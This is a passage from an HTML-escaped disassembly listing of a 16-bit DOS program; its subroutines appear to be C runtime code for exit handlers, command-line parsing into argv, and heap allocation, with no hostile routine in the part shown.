/&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_9        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        SUB    SP,4&lt;br /&gt;        MOV    AX,1A4H&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    WORD PTR [BP-2]&lt;br /&gt;        CALL    SUB_48            ; (14F3)&lt;br /&gt;        POP    CX&lt;br /&gt;        POP    CX&lt;br /&gt;        PUSH    WORD PTR [BP-4]&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        PUSH    AX&lt;br /&gt;        MOV    AX,0CH&lt;br /&gt;        PUSH    AX&lt;br /&gt;        MOV    AX,2&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_52            ; (15D4)&lt;br /&gt;        ADD    SP,8&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_9        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_10        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    SI&lt;br /&gt;        MOV    SI,[BP+4]&lt;br /&gt;        OR    SI,SI            ; Zero ?&lt;br /&gt;        JL    LOC_19            ; Jump if &lt;&lt;br /&gt;        CMP    SI,58H&lt;br /&gt;        JBE    LOC_18            ; Jump if below or =&lt;br /&gt;LOC_17:&lt;br /&gt;        MOV    SI,57H&lt;br /&gt;LOC_18:&lt;br /&gt;        MOV    DS:DATA_29E,SI        ; (7FC4:01D6=0CD57H)&lt;br /&gt;        MOV    AL,DS:DATA_30E[SI]    ; (7FC4:01D8=21H)&lt;br /&gt;        CBW                ; Convrt byte to word&lt;br /&gt;        XCHG    AX,SI&lt;br /&gt;        JMP    SHORT LOC_20        ; (034B)&lt;br /&gt;LOC_19:&lt;br /&gt;        NEG    SI&lt;br /&gt;        CMP    SI,23H&lt;br /&gt;        JA    LOC_17            ; Jump if above&lt;br /&gt;        MOV    WORD PTR DS:DATA_29E,0FFFFH    ; (7FC4:01D6=0CD57H)&lt;br /&gt;LOC_20:&lt;br /&gt;        MOV    AX,SI&lt;br /&gt;        MOV    DS:DATA_27E,AX        ; (7FC4:0094=0)&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    SHORT LOC_21        ; (0355)&lt;br /&gt;LOC_21:&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN    2&lt;br /&gt;SUB_10        ENDP&lt;br /&gt; &lt;br /&gt;        DB    0C3H&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_11        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        JMP    SHORT LOC_23        ; (036A)&lt;br /&gt;LOC_22:&lt;br /&gt;        MOV    BX,WORD PTR DS:[23CH]    ; (7FC4:023C=0E246H)&lt;br /&gt;        SHL    BX,1            ; Shift w/zeros fill&lt;br /&gt;        CALL    WORD PTR DS:[464H][BX]    ;*(7FC4:0464=0E3D1H)&lt;br /&gt;LOC_23:&lt;br /&gt;        MOV    AX,WORD PTR DS:[23CH]    ; (7FC4:023C=0E246H)&lt;br /&gt;        DEC    WORD PTR DS:[23CH]    ; (7FC4:023C=0E246H)&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JNZ    LOC_22            ; Jump if not zero&lt;br /&gt;        CALL    WORD PTR DS:DATA_31E    ; (7FC4:0232=2FB9H)&lt;br /&gt;        CALL    WORD PTR DS:[234H]    ; (7FC4:0234=9000H)&lt;br /&gt;        CALL    WORD PTR DS:[236H]    ; (7FC4:0236=2FCH)&lt;br /&gt;        PUSH    WORD PTR [BP+4]&lt;br /&gt;        CALL    SUB_2            ; (0121)&lt;br /&gt;        POP    CX&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_11        ENDP&lt;br /&gt; &lt;br /&gt;DATA_39        DW    0&lt;br /&gt;DATA_40        DW    0&lt;br /&gt;        DB    0, 0&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_12        PROC    NEAR&lt;br /&gt;        POP    CS:DATA_39        ; (7FD4:038A=0)&lt;br /&gt;        MOV    CS:DATA_40,DS        ; (7FD4:038C=0)&lt;br /&gt;        CLD                ; Clear direction&lt;br /&gt;        MOV    ES,DATA_76        ; (8134:0090=0)&lt;br /&gt;        MOV    SI,80H&lt;br /&gt;        XOR    AH,AH            ; Zero register&lt;br /&gt;        LODS    BYTE PTR ES:[SI]    ; String [si] to al&lt;br /&gt;        INC    AX&lt;br /&gt;        MOV    BP,ES&lt;br /&gt;        XCHG    DX,SI&lt;br /&gt;        XCHG    AX,BX&lt;br /&gt;        MOV    SI,WORD PTR DATA_73    ; (8134:008A=0)&lt;br /&gt;        ADD    SI,2&lt;br /&gt;        MOV    CX,1&lt;br /&gt;        CMP    BYTE PTR DATA_77,3    ; (8134:0092=0)&lt;br /&gt;        JB    LOC_24            ; Jump if below&lt;br /&gt;        MOV    ES,WORD PTR DATA_73+2    ; (8134:008C=0)&lt;br /&gt;        MOV    DI,SI&lt;br /&gt;        MOV    CL,7FH&lt;br /&gt;        XOR    AL,AL            ; Zero register&lt;br /&gt;        REPNE    SCASB            ; Rept zf=0+cx&gt;0 Scan es:[di] for al&lt;br /&gt;        JCXZ    LOC_32            ; Jump if cx=0&lt;br /&gt;        XOR    CL,7FH&lt;br /&gt;LOC_24:&lt;br /&gt;        SUB    SP,2&lt;br /&gt;        MOV    AX,1&lt;br /&gt;        ADD    AX,BX&lt;br /&gt;        ADD    AX,CX&lt;br /&gt;        AND    AX,0FFFEH&lt;br /&gt;        MOV    DI,SP&lt;br /&gt;        SUB    DI,AX&lt;br /&gt;        JC    LOC_32            ; Jump if carry Set&lt;br /&gt;        MOV    SP,DI&lt;br /&gt;        MOV    AX,ES&lt;br /&gt;        MOV    DS,AX&lt;br /&gt;        MOV    AX,SS&lt;br /&gt;        MOV    ES,AX&lt;br /&gt;        PUSH    CX&lt;br /&gt;        DEC    CX&lt;br /&gt;        REP    MOVSB            ; Rep while cx&gt;0 Mov [si] to es:[di]&lt;br /&gt;        XOR    AL,AL            ; Zero register&lt;br /&gt;        STOSB                ; Store al to es:[di]&lt;br /&gt;        MOV    DS,BP&lt;br /&gt;        XCHG    SI,DX&lt;br /&gt;        XCHG    BX,CX&lt;br /&gt;        MOV    AX,BX&lt;br /&gt;        MOV    DX,AX&lt;br /&gt;        INC    BX&lt;br /&gt;LOC_25:&lt;br /&gt;        CALL    SUB_13            ; (0419)&lt;br /&gt;        JA    LOC_27            ; Jump if above&lt;br /&gt;LOC_26:&lt;br /&gt;        JC    LOC_33            ; Jump if carry Set&lt;br /&gt;        CALL    SUB_13            ; (0419)&lt;br /&gt;        JA    LOC_26            ; Jump if above&lt;br /&gt;LOC_27:&lt;br /&gt;        CMP    AL,20H            ; ' '&lt;br /&gt;        JE    LOC_28            ; Jump if equal&lt;br /&gt;        CMP    AL,0DH&lt;br /&gt;        JE    LOC_28            ; Jump if equal&lt;br /&gt;        CMP    AL,9&lt;br /&gt;        JNE    LOC_25            ; Jump if not equal&lt;br /&gt;LOC_28:&lt;br /&gt;        XOR    AL,AL            ; Zero register&lt;br /&gt;        JMP    SHORT LOC_25        ; (03FD)&lt;br /&gt; &lt;br /&gt;;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt; &lt;br /&gt;SUB_13:&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JZ    LOC_29            ; Jump if zero&lt;br /&gt;        INC    DX&lt;br /&gt;        STOSB                ; Store al to es:[di]&lt;br /&gt;        OR    AL,AL            ; Zero ?&lt;br /&gt;        JNZ    LOC_29            ; Jump if not zero&lt;br /&gt;        INC    BX&lt;br /&gt;LOC_29:&lt;br /&gt;        XCHG    AH,AL&lt;br /&gt;        XOR    AL,AL            ; Zero register&lt;br /&gt;        STC                ; Set carry flag&lt;br /&gt;        JCXZ    LOC_RET_31        ; Jump if cx=0&lt;br /&gt;        LODSB                ; String [si] to al&lt;br /&gt;        DEC    CX&lt;br /&gt;        SUB    AL,22H            ; '"'&lt;br /&gt;        JZ    LOC_RET_31        ; Jump if zero&lt;br /&gt;        ADD    AL,22H            ; '"'&lt;br /&gt;        CMP    AL,5CH            ; '\'&lt;br /&gt;        JNE    LOC_30            ; Jump if not equal&lt;br /&gt;        CMP    BYTE PTR [SI],22H    ; '"'&lt;br /&gt;        JNE    LOC_30            ; Jump if not equal&lt;br /&gt;        LODSB                ; String [si] to al&lt;br /&gt;        DEC    CX&lt;br /&gt;LOC_30:&lt;br /&gt;        OR    SI,SI            ; Zero ?&lt;br /&gt; &lt;br /&gt;LOC_RET_31:&lt;br /&gt;        RETN&lt;br /&gt;LOC_32:&lt;br /&gt;        JMP    LOC_10            ; (01E2)&lt;br /&gt;LOC_33:&lt;br /&gt;        POP    CX&lt;br /&gt;        ADD    CX,DX&lt;br /&gt;        MOV    DS,CS:DATA_40        ; (7FD4:038C=0)&lt;br /&gt;        MOV    DS:DATA_5E,BX        ; (0000:0084=9CEH)&lt;br /&gt;        INC    BX&lt;br /&gt;        ADD    BX,BX&lt;br /&gt;        MOV    SI,SP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        SUB    BP,BX&lt;br /&gt;        JC    LOC_32            ; Jump if carry Set&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;        MOV    DS:DATA_6E,BP        ; (0000:0086=13C7H)&lt;br /&gt;LOC_34:&lt;br /&gt;        JCXZ    LOC_36            ; Jump if cx=0&lt;br /&gt;        MOV    [BP],SI&lt;br /&gt;        ADD    BP,2&lt;br /&gt; &lt;br /&gt;LOCLOOP_35:&lt;br /&gt;        LODS    BYTE PTR SS:[SI]    ; String [si] to al&lt;br /&gt;        OR    AL,AL            ; Zero ?&lt;br /&gt;        LOOPNZ    LOCLOOP_35        ; Loop if zf=0, cx&gt;0&lt;br /&gt; &lt;br /&gt;        JZ    LOC_34            ; Jump if zero&lt;br /&gt;LOC_36:&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        MOV    [BP],AX&lt;br /&gt;        JMP    CS:DATA_39        ; (7FD4:038A=0)&lt;br /&gt;SUB_12        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_14        PROC    NEAR&lt;br /&gt;        MOV    CX,DS:DATA_8E        ; (0000:008A=23EAH)&lt;br /&gt;        PUSH    CX&lt;br /&gt;        CALL    SUB_19            ; (05CA)&lt;br /&gt;        POP    CX&lt;br /&gt;        MOV    DI,AX&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JZ    LOC_37            ; Jump if zero&lt;br /&gt;        PUSH    DS&lt;br /&gt;        PUSH    DS&lt;br /&gt;        POP    ES&lt;br /&gt;        MOV    DS,DS:DATA_9E        ; (0000:008C=0A70H)&lt;br /&gt;        XOR    SI,SI            ; Zero register&lt;br /&gt;        CLD                ; Clear direction&lt;br /&gt;        REP    MOVSB            ; Rep while cx&gt;0 Mov [si] to es:[di]&lt;br /&gt;        POP    DS&lt;br /&gt;        MOV    DI,AX&lt;br /&gt;        PUSH    ES&lt;br /&gt;        PUSH    WORD PTR DS:DATA_10E    ; (0000:008E=23EAH)&lt;br /&gt;        CALL    SUB_19            ; (05CA)&lt;br /&gt;        ADD    SP,2&lt;br /&gt;        MOV    BX,AX&lt;br /&gt;        POP    ES&lt;br /&gt;        MOV    DS:DATA_7E,AX        ; (0000:0088=723H)&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JNZ    LOC_38            ; Jump if not zero&lt;br /&gt;LOC_37:&lt;br /&gt;        JMP    LOC_10            ; (01E2)&lt;br /&gt;LOC_38:&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        MOV    CX,0FFFFH&lt;br /&gt;LOC_39:&lt;br /&gt;        MOV    [BX],DI&lt;br /&gt;        ADD    BX,2&lt;br /&gt;        REPNE    SCASB            ; Rept zf=0+cx&gt;0 Scan es:[di] for al&lt;br /&gt;        CMP    ES:[DI],AL&lt;br /&gt;        JNE    LOC_39            ; Jump if not equal&lt;br /&gt;        MOV    [BX],AX&lt;br /&gt;        RETN&lt;br /&gt;SUB_14        ENDP&lt;br /&gt; &lt;br /&gt;        DB    55H, 8BH, 0ECH, 83H, 3EH, 3CH&lt;br /&gt;        DB    2, 20H, 75H, 5, 0B8H, 1&lt;br /&gt;        DB    0, 0EBH, 15H, 8BH, 46H, 4&lt;br /&gt;        DB    8BH, 1EH, 3CH, 2, 0D1H, 0E3H&lt;br /&gt;        DB    89H, 87H, 64H, 4, 0FFH, 6&lt;br /&gt;        DB    3CH, 2, 33H, 0C0H, 0EBH, 0&lt;br /&gt;LOC_40:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_15        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    DI,[BP+4]&lt;br /&gt;        MOV    AX,[DI+6]&lt;br /&gt;        MOV    DS:DATA_23E,AX        ; (0000:04A6=0)&lt;br /&gt;        CMP    AX,DI&lt;br /&gt;        JNE    LOC_41            ; Jump if not equal&lt;br /&gt;        MOV    WORD PTR DS:DATA_23E,0    ; (0000:04A6=0)&lt;br /&gt;        JMP    SHORT LOC_42        ; (0515)&lt;br /&gt;LOC_41:&lt;br /&gt;        MOV    SI,[DI+4]&lt;br /&gt;        MOV    BX,DS:DATA_23E        ; (0000:04A6=0)&lt;br /&gt;        MOV    [BX+4],SI&lt;br /&gt;        MOV    AX,DS:DATA_23E        ; (0000:04A6=0)&lt;br /&gt;        MOV    [SI+6],AX&lt;br /&gt;LOC_42:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_15        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_16        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    DI,[BP+4]&lt;br /&gt;        MOV    AX,[BP+6]&lt;br /&gt;        SUB    [DI],AX&lt;br /&gt;        MOV    SI,[DI]&lt;br /&gt;        ADD    SI,DI&lt;br /&gt;        MOV    AX,[BP+6]&lt;br /&gt;        INC    AX&lt;br /&gt;        MOV    [SI],AX&lt;br /&gt;        MOV    [SI+2],DI&lt;br /&gt;        MOV    AX,DS:DATA_22E        ; (0000:04A4=0)&lt;br /&gt;        CMP    AX,DI&lt;br /&gt;        JNE    LOC_43            ; Jump if not equal&lt;br /&gt;        MOV    DS:DATA_22E,SI        ; (0000:04A4=0)&lt;br /&gt;        JMP    SHORT LOC_44        ; (0548)&lt;br /&gt;LOC_43:&lt;br /&gt;        MOV    DI,SI&lt;br /&gt;        ADD    DI,[BP+6]&lt;br /&gt;        MOV    [DI+2],SI&lt;br /&gt;LOC_44:&lt;br /&gt;        MOV    AX,SI&lt;br /&gt;        ADD    AX,4&lt;br /&gt;        JMP    SHORT LOC_45        ; (054F)&lt;br /&gt;LOC_45:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_16        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_17        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    SI&lt;br /&gt;        MOV    AX,[BP+4]&lt;br /&gt;        XOR    DX,DX            ; Zero register&lt;br /&gt;        AND    AX,0FFFFH&lt;br /&gt;        AND    DX,0&lt;br /&gt;        nop                ;*Fixup for MASM (M)&lt;br /&gt;        PUSH    DX&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_21            ; (065C)&lt;br /&gt;        POP    CX&lt;br /&gt;        POP    CX&lt;br /&gt;        MOV    SI,AX&lt;br /&gt;        CMP    SI,0FFFFH&lt;br /&gt;        JNE    LOC_46            ; Jump if not equal&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        JMP    SHORT LOC_47        ; (058D)&lt;br /&gt;LOC_46:&lt;br /&gt;        MOV    AX,DS:DATA_22E        ; (0000:04A4=0)&lt;br /&gt;        MOV    [SI+2],AX&lt;br /&gt;        MOV    AX,[BP+4]&lt;br /&gt;        INC    AX&lt;br /&gt;        MOV    [SI],AX&lt;br /&gt;        MOV    DS:DATA_22E,SI        ; (0000:04A4=0)&lt;br /&gt;        MOV    AX,DS:DATA_22E        ; (0000:04A4=0)&lt;br /&gt;        ADD    AX,4&lt;br /&gt;        JMP    SHORT LOC_47        ; (058D)&lt;br /&gt;LOC_47:&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_17        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_18        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    SI&lt;br /&gt;        MOV    AX,[BP+4]&lt;br /&gt;        XOR    DX,DX            ; Zero register&lt;br /&gt;        AND    AX,0FFFFH&lt;br /&gt;        AND    DX,0&lt;br /&gt;        nop                ;*Fixup for MASM (M)&lt;br /&gt;        PUSH    DX&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_21            ; (065C)&lt;br /&gt;        POP    CX&lt;br /&gt;        POP    CX&lt;br /&gt;        MOV    SI,AX&lt;br /&gt;        CMP    SI,0FFFFH&lt;br /&gt;        JNE    LOC_48            ; Jump if not equal&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        JMP    SHORT LOC_49        ; (05C7)&lt;br /&gt;LOC_48:&lt;br /&gt;        MOV    DS:DATA_24E,SI        ; (0000:04A8=0)&lt;br /&gt;        MOV    DS:DATA_22E,SI        ; (0000:04A4=0)&lt;br /&gt;        MOV    AX,[BP+4]&lt;br /&gt;        INC    AX&lt;br /&gt;        MOV    [SI],AX&lt;br /&gt;        MOV    AX,SI&lt;br /&gt;        ADD    AX,4&lt;br /&gt;        JMP    SHORT LOC_49        ; (05C7)&lt;br /&gt;LOC_49:&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_18        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_19        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    DI,[BP+4]&lt;br /&gt;        OR    DI,DI            ; Zero ?&lt;br /&gt;        JNZ    LOC_50            ; Jump if not zero&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        JMP    SHORT LOC_56        ; (0634)&lt;br /&gt;LOC_50:&lt;br /&gt;        MOV    AX,DI&lt;br /&gt;        ADD    AX,0BH&lt;br /&gt;        AND    AX,0FFF8H&lt;br /&gt;        MOV    DI,AX&lt;br /&gt;        CMP    WORD PTR DS:DATA_24E,0    ; (0000:04A8=0)&lt;br /&gt;        JNE    LOC_51            ; Jump if not equal&lt;br /&gt;        PUSH    DI&lt;br /&gt;        CALL    SUB_18            ; (0590)&lt;br /&gt;        POP    CX&lt;br /&gt;        JMP    SHORT LOC_56        ; (0634)&lt;br /&gt;LOC_51:&lt;br /&gt;        MOV    SI,DS:DATA_23E        ; (0000:04A6=0)&lt;br /&gt;        MOV    AX,SI&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JZ    LOC_55            ; Jump if zero&lt;br /&gt;LOC_52:&lt;br /&gt;        MOV    AX,[SI]&lt;br /&gt;        MOV    DX,DI&lt;br /&gt;        ADD    DX,28H&lt;br /&gt;        CMP    AX,DX&lt;br /&gt;        JB    LOC_53            ; Jump if below&lt;br /&gt;        PUSH    DI&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_16            ; (0519)&lt;br /&gt;        POP    CX&lt;br /&gt;        POP    CX&lt;br /&gt;        JMP    SHORT LOC_56        ; (0634)&lt;br /&gt;LOC_53:&lt;br /&gt;        MOV    AX,[SI]&lt;br /&gt;        CMP    AX,DI&lt;br /&gt;        JB    LOC_54            ; Jump if below&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_15            ; (04EB)&lt;br /&gt;        POP    CX&lt;br /&gt;        INC    WORD PTR [SI]&lt;br /&gt;        MOV    AX,SI&lt;br /&gt;        ADD    AX,4&lt;br /&gt;        JMP    SHORT LOC_56        ; (0634)&lt;br /&gt;LOC_54:&lt;br /&gt;        MOV    SI,[SI+6]&lt;br /&gt;        CMP    SI,DS:DATA_23E        ; (0000:04A6=0)&lt;br /&gt;        JNE    LOC_52            ; Jump if not equal&lt;br /&gt;LOC_55:&lt;br /&gt;        PUSH    DI&lt;br /&gt;        CALL    SUB_17            ; (0553)&lt;br /&gt;        POP    CX&lt;br /&gt;        JMP    SHORT LOC_56        ; (0634)&lt;br /&gt;LOC_56:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_19        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_20        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        MOV    AX,[BP+4]&lt;br /&gt;        MOV    DX,SP&lt;br /&gt;        SUB    DX,100H&lt;br /&gt;        CMP    AX,DX&lt;br /&gt;        JAE    LOC_57            ; Jump if above or =&lt;br /&gt;        MOV    DS:DATA_28E,AX        ; (7FC4:009E=0)&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        JMP    SHORT LOC_58        ; (065A)&lt;br /&gt;LOC_57:&lt;br /&gt;        MOV    WORD PTR DS:DATA_27E,8    ; (7FC4:0094=0)&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    SHORT LOC_58        ; (065A)&lt;br /&gt;LOC_58:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_20        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_21        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        MOV    AX,[BP+4]&lt;br /&gt;        MOV    DX,[BP+6]&lt;br /&gt;        ADD    AX,DS:DATA_14E        ; (0000:009E=27DH)&lt;br /&gt;        ADC    DX,0&lt;br /&gt;        MOV    CX,AX&lt;br /&gt;        ADD    CX,100H&lt;br /&gt;        ADC    DX,0&lt;br /&gt;        OR    DX,DX            ; Zero ?&lt;br /&gt;        JNZ    LOC_59            ; Jump if not zero&lt;br /&gt;        CMP    CX,SP&lt;br /&gt;        JAE    LOC_59            ; Jump if above or =&lt;br /&gt;        XCHG    AX,DS:DATA_14E        ; (0000:009E=27DH)&lt;br /&gt;        JMP    SHORT 